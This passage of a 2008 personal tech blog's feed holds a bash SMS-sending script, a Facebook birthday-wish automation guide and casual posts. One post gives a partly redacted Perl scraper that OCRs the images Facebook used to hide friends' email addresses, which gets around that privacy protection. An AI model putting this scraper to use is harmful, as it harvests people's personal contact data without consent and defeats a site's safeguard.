/tmp by default (change "cookiebase" to whatever you like if you want to change this) name USERNAME.wsmscookie (this can be changed on the fourth line from the bottom).If you consider this feature a security risk or something, uncomment the last line to delete the cookie everytime after you send a message.&lt;br /&gt;&lt;pre class="brush:pl"&gt;#!/usr/bin/env bash&lt;br /&gt;&lt;br /&gt;##########################################&lt;br /&gt;##                                      ##&lt;br /&gt;##               \|/                    ##&lt;br /&gt;##              '-D                     ##&lt;br /&gt;##             BDWSMS 2.0               ##&lt;br /&gt;##       (Bash Dhiraagu Web-Sms)        ##&lt;br /&gt;##                                      ##&lt;br /&gt;##########################################&lt;br /&gt;##                                      &lt;br /&gt;##  Written By, kudanai [2008]                 &lt;br /&gt;##  http://kudanai.blogspot.com         &lt;br /&gt;## &lt;br /&gt;##  This script is released as-is and &lt;br /&gt;##  without any liability on my behalf.&lt;br /&gt;##&lt;br /&gt;##  You are free to make modifications  &lt;br /&gt;##  and redistribute. Credits where they&lt;br /&gt;##  are due are appreciated, but not &lt;br /&gt;##  necessary.&lt;br /&gt;##&lt;br /&gt;##  Please submit feature requests and &lt;br /&gt;##  bug reports to moc.liamg@ianaduk&lt;br /&gt;##  (email address is written backwards)&lt;br /&gt;##&lt;br /&gt;##########################################&lt;br /&gt;&lt;br /&gt;user=DEFAULT-USER&lt;br /&gt;pass=DEFAULT-PASS&lt;br /&gt;&lt;br /&gt;#---leave these if you don't know what they mean --##&lt;br /&gt;&lt;br /&gt;dirlist=~/.wsmsdir&lt;br /&gt;cookiebase=/tmp&lt;br /&gt;&lt;br /&gt;## ----no need to edit beyond this point --##&lt;br /&gt;version=2.0&lt;br /&gt;cookie=0&lt;br /&gt;number=0&lt;br /&gt;msg=0&lt;br /&gt;verbose=1 #change to 0 if you want silence as default&lt;br /&gt;uflag=0&lt;br /&gt;pflag=0&lt;br /&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt; if [ -e ${dirlist} ];then dcheck=`cat ${dirlist} | grep -w ${number} | cut -f2 -d","`;fi &lt;br /&gt;&lt;br /&gt; if [ -n "${dcheck}" ]&lt;br /&gt; then&lt;br /&gt;  number=${dcheck}&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt; if [ -z `echo ${number} | grep -E "^7[6-9][0-9]{5}$"` ]&lt;br /&gt; then&lt;br /&gt;  echo "ERROR: Invalid Number or unknown alias"&lt;br /&gt;  exit 1&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt; if [ $verbose -gt 0 ]&lt;br /&gt; then&lt;br /&gt;  echo "Sending to: ${number}"&lt;br /&gt;  if [ `expr length "${msg}"` -gt 140 ]&lt;br /&gt;   then &lt;br /&gt;       echo "WARNING: Message will be truncated at ...${msg:130:10}"&lt;br /&gt;  fi&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt; if [ -e ${cookie} ]&lt;br /&gt; then&lt;br /&gt;  if [ $verbose -gt 0 ];then echo "Found cookie file - will try to re-use";fi&lt;br /&gt;  sendsms&lt;br /&gt; else&lt;br /&gt;  login&lt;br /&gt; fi&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;login()&lt;br /&gt;{&lt;br /&gt; if [ $verbose -gt 0 ];then echo "Authenticating ... Getting cookie";fi&lt;br /&gt; ret=`curl -s --compressed -c ${cookie} -d "username=${user}" -d "password=${pass}" \&lt;br /&gt;  http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl`&lt;br /&gt;&lt;br /&gt; if [ -n "`echo ${ret} | grep -i "password is incorrect"`" ]&lt;br /&gt; then&lt;br /&gt;  echo "ERROR: Incorrect password"&lt;br /&gt;  exit&lt;br /&gt; elif [ -n "`echo ${ret} | grep -i "you are not the"`" ]&lt;br /&gt; then&lt;br /&gt;  echo "ERROR: Incorrect username"&lt;br /&gt;  exit&lt;br /&gt; elif [ -n "`echo ${ret} | sed -n \"s/.*\( 0 more \).*/\1/p\"`" ]&lt;br /&gt; then&lt;br /&gt;     echo "ERROR: Daily quota reached"&lt;br /&gt;     exit&lt;br /&gt; else&lt;br /&gt;     sendsms&lt;br /&gt; fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sendsms()&lt;br /&gt;{&lt;br /&gt; if [ $verbose -gt 0 ];then echo "Attempting to send message... ";fi&lt;br /&gt; ret=`curl -s --compressed -b ${cookie}  -d "mobilenumber=${number}" -d "message=${msg:0:140}" \&lt;br /&gt;  http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl`&lt;br /&gt; &lt;br /&gt; rem=`echo ${ret} | sed -n 's/.*\([yY]ou .* Day\).*/\1/p'`&lt;br /&gt; &lt;br /&gt; if [ -n "${rem}" ]&lt;br /&gt; then&lt;br /&gt;  echo ${rem}&lt;br /&gt;  exit&lt;br /&gt; else&lt;br /&gt;  if [ $verbose -gt 0 ];then echo "ERROR: session expired? trying again";fi&lt;br /&gt;  rm ${cookie}&lt;br /&gt;  login&lt;br /&gt; fi&lt;br /&gt;  &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;printhelp()&lt;br /&gt;{&lt;br /&gt; echo "BDWSMS - KudaNai (kudanai.blogspot.com)"&lt;br /&gt; echo "Version: $version"&lt;br /&gt; echo "USAGE: $0 [OPTIONS...] -n number 'message'"&lt;br /&gt; echo&lt;br /&gt; echo "OPTIONS"&lt;br /&gt; echo " -h  Print this help and exit"&lt;br /&gt; echo " -v  Print version information"&lt;br /&gt; echo " -s  Silent. Supress additional information."&lt;br /&gt; echo " -d  Overried default directory file. The Directory file"&lt;br /&gt; echo "   is a comma seperated file containing name,number pairs"&lt;br /&gt; echo " -u USERNAME Override default username. Must use with -p"&lt;br /&gt; echo " -p PASSWORD Override default password. Must use with -u"&lt;br /&gt; echo&lt;br /&gt; echo "Please note that the -n argument is MANDATORY"&lt;br /&gt; exit 1&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while getopts 'vshu:p:n:d:' OPTION&lt;br /&gt;do&lt;br /&gt; case $OPTION in&lt;br /&gt;  s) verbose=0 &lt;br /&gt;   ;;&lt;br /&gt;  v) echo "BDWSMS Version: ${version} [2008]"&lt;br /&gt;   exit 0&lt;br /&gt;   ;;&lt;br /&gt;  u) user="${OPTARG}"&lt;br /&gt;   uflag=1&lt;br /&gt;   ;;&lt;br /&gt;  d) dirlist="${OPTARG}"&lt;br /&gt;   ;;&lt;br /&gt;  p) pass="${OPTARG}"&lt;br /&gt;   pflag=1&lt;br /&gt;   ;;&lt;br /&gt;  n) number="${OPTARG}"&lt;br /&gt;   ;;&lt;br /&gt;  h) printhelp&lt;br /&gt;   ;;&lt;br /&gt;  ?) printhelp&lt;br /&gt;   exit;;&lt;br /&gt; esac&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;shift $(( $OPTIND - 1 ))&lt;br /&gt;msg=$1&lt;br /&gt;&lt;br /&gt;if [[ -z ${number} ]] || [[ -z ${msg} ]]&lt;br /&gt;then&lt;br /&gt; printhelp&lt;br /&gt;elif [[ ${uflag} -ne ${pflag} ]]&lt;br /&gt;then&lt;br /&gt; echo "ERROR: You must specify values for both -u and -p options or not at all"&lt;br /&gt; printhelp&lt;br /&gt;else&lt;br /&gt; cookie="${cookiebase}/${user}.wsmscookie"&lt;br /&gt; main &lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#rm ${cookie}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3983603907860791131?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3983603907860791131/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3983603907860791131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3983603907860791131'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html' title='Bash Script: Dhiraagu WebSMS'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1989323689305848825</id><published>2008-11-21T04:06:00.008+08:00</published><updated>2009-03-23T01:41:24.264+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Automate birthday wishes on facebook</title><content type='html'>&lt;b  style="color:red;"&gt;NEW VERSION IS OUT, and is now compatible with the latest (v0.95) version of fbcmd. You can find it &lt;span style="color: rgb(51, 255, 51);font-size:180%;" &gt;&lt;a href="http://kudanai.blogspot.com/2009/03/automatic-birthday-wishes-on-facebook.html"&gt;HERE&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;EDIT 3: 02/DEC/08 - Fixed birthday issue for single digit days. Damn paddings...&lt;/b&gt;&lt;/i&gt;&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;EDIT 2: 23/NOV/08 - Fixed the incorrect date matching problem. You should update before the 2nd of December or you'll be in trouble.&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;EDIT: I fixed one serious error in the code, and updated the how to and made it..simpler.&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;let's face it, no matter how much you try you will always forget somebody's birthday and end up in a hole. I've been " " this close to death on several occasions now, and I'm actually reputed for having a good grip of the whole birthday business.&lt;br /&gt;&lt;br /&gt;so last night I wanted to kill some time and I came up with a little bash script that might be of help to some of you. Basically what it does is&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Go online and grab the user ID's of everybody who's birthday falls on "today" (make sure your system clock is setup properly)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Write a message on their wall&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;This is setup to run once a day, and voila! you have yourself a free ticket out of...birthday forgetters hell... *cough*&lt;br /&gt;&lt;br /&gt;Should be fairly straightforward on any *nix system.&lt;br /&gt;&lt;br /&gt;We'll be needing some way to access information on facebook. For that we're going to use fbcmd which is, as the developer describes "a simple command line interface for facebook." Go to the projects website &lt;a href="http://www.cs.ubc.ca/%7Edavet/fbcmd/"&gt;here&lt;/a&gt; and download the latest version. At the time of writing, this was 0.90 (BETA)&lt;br /&gt;&lt;br /&gt;Note that the patch file provided is for this particular version. I will update it if necessary in the future.&lt;br /&gt;&lt;br /&gt;extract the archive to your home directory (places-&amp;gt;home).&lt;br /&gt;now download the patch file and script from &lt;a href="http://kudanai.googlepages.com/bdaywish.zip"&gt;here&lt;/a&gt; and also extract it to ~/fbcmd (directory should already exist from the previous archive)&lt;br /&gt;&lt;br /&gt;Now go to the facebook application page, &lt;a href="http://www.facebook.com/code_gen.php?v=1.0&amp;amp;api_key=d96ea311638cf65f04b33c87eacf371e"&gt;HERE&lt;/a&gt; and allow the application to access your information, and click "generate" to get an AUTH CODE for your account. Copy this down&lt;br /&gt;&lt;br /&gt;open up a terminal now and run the following commands, one at a time.&lt;br /&gt;&lt;blockquote&gt;sudo apt-get install curl php5-cli gnome-schedule&lt;br /&gt;cd ~/fbcmd&lt;br /&gt;patch -b -i fbcmd.diff fbcmd.php&lt;br /&gt;php fbcmd.php AUTH XXXXXX&lt;/blockquote&gt;where XXXXXX is the AUTH CODE you copied down earlier. Now you should have access to your account through the application. Now we can move on to the wish script. In the same terminal type out the following.&lt;br /&gt;&lt;blockquote&gt;php fbcmd.php FRIENDSC &amp;gt; fbUIDlist&lt;br /&gt;gedit fbbdaywish&lt;/blockquote&gt;when the editor pops up, change the values for email, pass and put in your email ad and password. Change the value of "post" to whatever you want your friend to be greeted with. (TIP: avoid !'s, it causes some problems)&lt;br /&gt;&lt;br /&gt;now type&lt;br /&gt;&lt;blockquote&gt;gnome-schedule&lt;/blockquote&gt;The scheduled tasks dialog should come up. Click on new-&amp;gt;recurrent. Enter any description you like. In the command field type&lt;br /&gt;&lt;blockquote&gt;~/fbcmd/fbbdaywish &amp;gt;&amp;gt; ~/fbcmd/bday.log&lt;/blockquote&gt;uncheck the "no output" option, and select "every day" from the drop down menu. Click ok, and you're set to go!&lt;br /&gt;&lt;br /&gt;Let me know how it turns out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1989323689305848825?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1989323689305848825/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/11/automate-birthday-wishes-on-facebook_6023.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1989323689305848825'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1989323689305848825'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/11/automate-birthday-wishes-on-facebook_6023.html' title='Automate birthday wishes on facebook'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4939758827576644124</id><published>2008-11-15T19:07:00.001+08:00</published><updated>2008-11-15T19:07:03.901+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Testing out flock</title><content type='html'>testing testing 1....2...3..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4939758827576644124?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4939758827576644124/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/11/testing-out-flock.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4939758827576644124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4939758827576644124'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/11/testing-out-flock.html' title='Testing out flock'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-3318746418128082321</id><published>2008-11-06T04:34:00.001+08:00</published><updated>2008-11-21T03:06:52.122+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Michael Crichton dies of cancer at 66 - DAMN!</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;So I was going through my daily news today and...damn! I didn't see this one coming for some time.&lt;br/&gt;Michael Crichton, the legendary author of many of my all time favourites has passed away at the age of 66. I've read almost all of his books! Jurassic park, timeline, the andromeda strain, the great train robbery,empire of the sun, airframe, next, eaters of the dead, disclosure, prey.. you name it I've read them all.&lt;br/&gt;&lt;br/&gt;Read the full story here &lt;a href='http://blog.wired.com/underwire/2008/11/sci-fi-giant-mi.html'&gt;http://blog.wired.com/underwire/2008/11/sci-fi-giant-mi.html&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;Now a moment of silence please :(&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-3318746418128082321?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/3318746418128082321/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/11/michael-crichton-dies-of-cancer-at-66.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3318746418128082321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/3318746418128082321'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/11/michael-crichton-dies-of-cancer-at-66.html' title='Michael Crichton dies of cancer at 66 - DAMN!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-1645885514064345829</id><published>2008-10-31T01:55:00.001+08:00</published><updated>2008-10-31T01:56:51.818+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>My kinda elections...! hehe</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Alright then, now that the "other" elections are over it's now time for my sort of elections. Don't take me for being shallow, I do give shit - a Lot of shit! and I don't mean the poopy kinda shit either. I'm talking real hard stuff here.&lt;br/&gt;&lt;br/&gt;Now then, It's time for this years show-down season of the Linux distributions. We had Debian releasing the fifth revition of Etch a couple of days ago to get things started. Get your hats on kiddies, it's gonna be a fun ride this time around, with lots of exciting stuff going down. Today we have one uh...goat...going nuts in the neighborhood. Ubuntu's out people! and YEAAAHHH!!!! it's gonna be awesome! My wireless card is finally gonna get some native loving. Thank you Mr.kernel 2.6.27 :D&lt;br/&gt;&lt;br/&gt;Hot on it's heels we got openSUSE, Fedora and simplyMEPIS. Let's see if openSUSE can convince me to ditch Ubuntu this time around. The last one didn't go so well for me personally. It's good, but just not good enough...for me :) Debian of course is the way to go if you're all hardcore [and have a lot of spare time (read Gentoo)] but I did try that, and it really wasn't for me.&lt;br/&gt;&lt;br/&gt;so here we go..ready..annnnnnnnnnnnnnnnd... let the downloading begin :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1645885514064345829?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1645885514064345829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/10/my-kinda-elections-hehe.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1645885514064345829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1645885514064345829'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/10/my-kinda-elections-hehe.html' title='My kinda elections...! hehe'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8284148767569816229</id><published>2008-10-25T14:32:00.000+08:00</published><updated>2008-10-25T14:33:01.186+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='personal'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><title type='text'>Ping Pong...!</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;just letting everybody know that I'm alive.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8284148767569816229?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8284148767569816229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/10/ping-pong.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8284148767569816229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8284148767569816229'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/10/ping-pong.html' title='Ping Pong...!'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-5579371926271265470</id><published>2008-10-11T21:52:00.006+08:00</published><updated>2009-11-26T18:09:38.974+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Scraping facebook email addresses</title><content type='html'>Last night I had a dilema - I came to realize that I don't even have a fraction of my friends email addresses in my contact book, which is a very bad thing by any means. Of course there's facebook for ya! but it's still no substitute for some good ol' emails.&lt;br /&gt;&lt;br /&gt;So I thought maybe I could simply get them off of facebook - no go!&lt;br /&gt;&lt;br /&gt;why? Facebook doesn't provide plain-text email adds, which presents a bit of a problem. After a little research, it became clear that FB uses one of those string-to-image scripts. Hah! easy I thought, I'll just decode the Base64 string and voila... as it happens it's not that easy. It's not a Base64 string and to be honest I couldn't figure out what it was. So that left me with the other option - OCR&lt;br /&gt;&lt;br /&gt;This didn't prove too difficult at all. For the most part all I had to do was go through all my friends profile pages, extract the string_image hash, and pass that to&lt;br /&gt;&lt;br /&gt;http://m.facebook.com/string_image.php?ct=XXXXXXX&amp;amp;fp=8.7&amp;amp;state=0&lt;br /&gt;&lt;br /&gt;where ct takes the has, and fp is a float that controls the size of the output image. 8.7 is standard. you can crank that up to improve the OCR detection rate. I found 35 to be the optimal value between size and clarity.&lt;br /&gt;&lt;br /&gt;based on this, i was able to whip up a quick bash script to take in a list of User-ID's (just a bunch of numbers that corrospond to a given user. Do what you will to grab that), grab the email image and use OCR on it. I used OCRAD to do the OCR, and imagemagick for convertion.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;EDIT:&lt;/b&gt; It saddens me that some people have been making money off the code that I wrote. I helped you guys out in good faith. Really sucks that you took advantage of it. Anyway, I've decided to re-post the code here so the lamesters can be exposed for what they are. I'm posting the rewritten perl code here, since the original bash thing didn't work anyway.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;NOTE:&lt;/b&gt; I have made some deliberate omissions here. modifications are needed before the code will be functional. you WILL GET BANNED by facebook if you overdo it.&lt;br /&gt;&lt;br /&gt;here's the bash stuff:&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-perl"&gt;BOING BOING!!! where did the code go? SOrry guys, I had to remove it.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;and in perl: (the xxxx's should be easy to figure out if you see my other scripts)&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint lang-perl"&gt;#!/usr/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use xxxxx;&lt;br /&gt;use xxxxx;&lt;br /&gt;use Image::Magick;&lt;br /&gt;use Shell qw[ocrad];&lt;br /&gt;&lt;br /&gt;my $username = @ARGV[0];&lt;br /&gt;my $password = @ARGV[1];&lt;br /&gt;my $iurl;#temp var&lt;br /&gt;my $id;  #temp var&lt;br /&gt;my $x;   #temp var&lt;br /&gt;my $uids="uids"; #path of uid list file&lt;br /&gt;my $idlist="idlist"; #path of output file&lt;br /&gt;my $size=35;  #size of email image to download&lt;br /&gt;&lt;br /&gt;my $mech = xxxxxxx-&amp;gt;new();&lt;br /&gt;my $image = Image::Magick-&amp;gt;new();&lt;br /&gt;&lt;br /&gt;$mech-&amp;gt;cookie_jar(xxxxxxxxx-&amp;gt;new());&lt;br /&gt;&lt;br /&gt;#login&lt;br /&gt;$mech-&amp;gt;post("https://login.facebook.com/login.php?m&amp;amp;next=http://m.facebook.com/inbox",{email=&amp;gt;$username,pass=&amp;gt;$password});&lt;br /&gt;&lt;br /&gt;#star processing uids&lt;br /&gt;open(UIDS,$uids);&lt;br /&gt;open(IDLS,"&amp;gt;&amp;gt;$idlist");&lt;br /&gt;foreach $id (&lt;uids&gt;)&lt;br /&gt;{&lt;br /&gt;  chomp($id);&lt;br /&gt;  $mech-&amp;gt;get("http://m.facebook.com/profile.php?id=".$id."&amp;amp;v=info&amp;amp;refid=17");&lt;br /&gt;  if(defined ($iurl=$mech-&amp;gt;find_image( url_regex =&amp;gt; qr/string_image.php/ )))&lt;br /&gt;  {&lt;br /&gt;    ($iurl=$iurl-&amp;gt;url_abs())=~s/8.7/$size/;&lt;br /&gt;    chomp($iurl);&lt;br /&gt;    $x = $image-&amp;gt;Read($iurl);&lt;br /&gt;    $x = $image-&amp;gt;Write(gamma=&amp;gt;0.3,colorspace=&amp;gt;'rgb',filename=&amp;gt;$id.".ppm");&lt;br /&gt;    print IDLS "$id,".ocrad("$id.ppm")."\n";&lt;br /&gt;    @$image = ();&lt;br /&gt;&lt;br /&gt;   }&lt;br /&gt;   else &lt;br /&gt;   {&lt;br /&gt;    print IDLS "$id,undefined\n";&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;close(UIDS);close(IDLS);&lt;br /&gt;&lt;/uids&gt;&lt;/pre&gt;&lt;br /&gt;This works remarkably well for the most part, although ocrad did confuse some 1's for l's. I had better results with tesseract - but had to convert all the images to bi-tonal graymaps first. otherwise it's simply useless.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-5579371926271265470?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/5579371926271265470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2008/10/scraping-facebook-email-addresses.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5579371926271265470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/5579371926271265470'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2008/10/scraping-facebook-email-addresses.html' title='Scraping facebook email addresses'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8160671420574370753</id><published>2008-10-02T00:11:00.006+08:00</published><updated>2008-10-02T03:27:58.329+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photography'/><category scheme='http://www.blogger.com/atom/ns#' term='DIY'/><title type='text'>DIY 3-axis ballhead tripod thingie (a.k.a The tennis-ballpod!)</title><content type='html'>Make a ballhead tripod out of nothing more than a tennis ball, a nut, and a can of pringles?&lt;br /&gt;&lt;br /&gt;Ahhh what the mind of a cheap ass guy who's bored to death can cook up. I've always wanted one of those mini-tripod things that I could carry around in my pocket, but have been either too lazy or too cheap to actually buy one...well mostly just lazy. I'm not really a photography geek anyway.&lt;br /&gt;&lt;br /&gt;'Nuff talk, let's get down to business. On with this unholy abomination, kinda-sorta dedicated to &lt;a href="http://i-kko.blogspot.com/2008/10/i-got-my-baby.html"&gt;iekko and her new camera.&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;First here is the finished product.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a href="http://lh5.ggpht.com/kudanai/SOOeuOGxIBI/AAAAAAAAAMQ/ecsj2-nPEew/%5BUNSET%5D.jpg" rel="lightbox[ballpod]"&gt;&lt;img src="http://lh5.ggpht.com/kudanai/SOOeuOGxIBI/AAAAAAAAAMQ/ecsj2-nPEew/%5BUNSET%5D.jpg" height="207" width="274" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Let's get started.&lt;br /&gt;&lt;br /&gt;Let's go digging in your garage. We're looking for the following items.&lt;br /&gt;&lt;blockquote&gt;&lt;ul&gt;&lt;li&gt;one tennis ball&lt;/li&gt;&lt;li&gt;one tube that snugly fits the 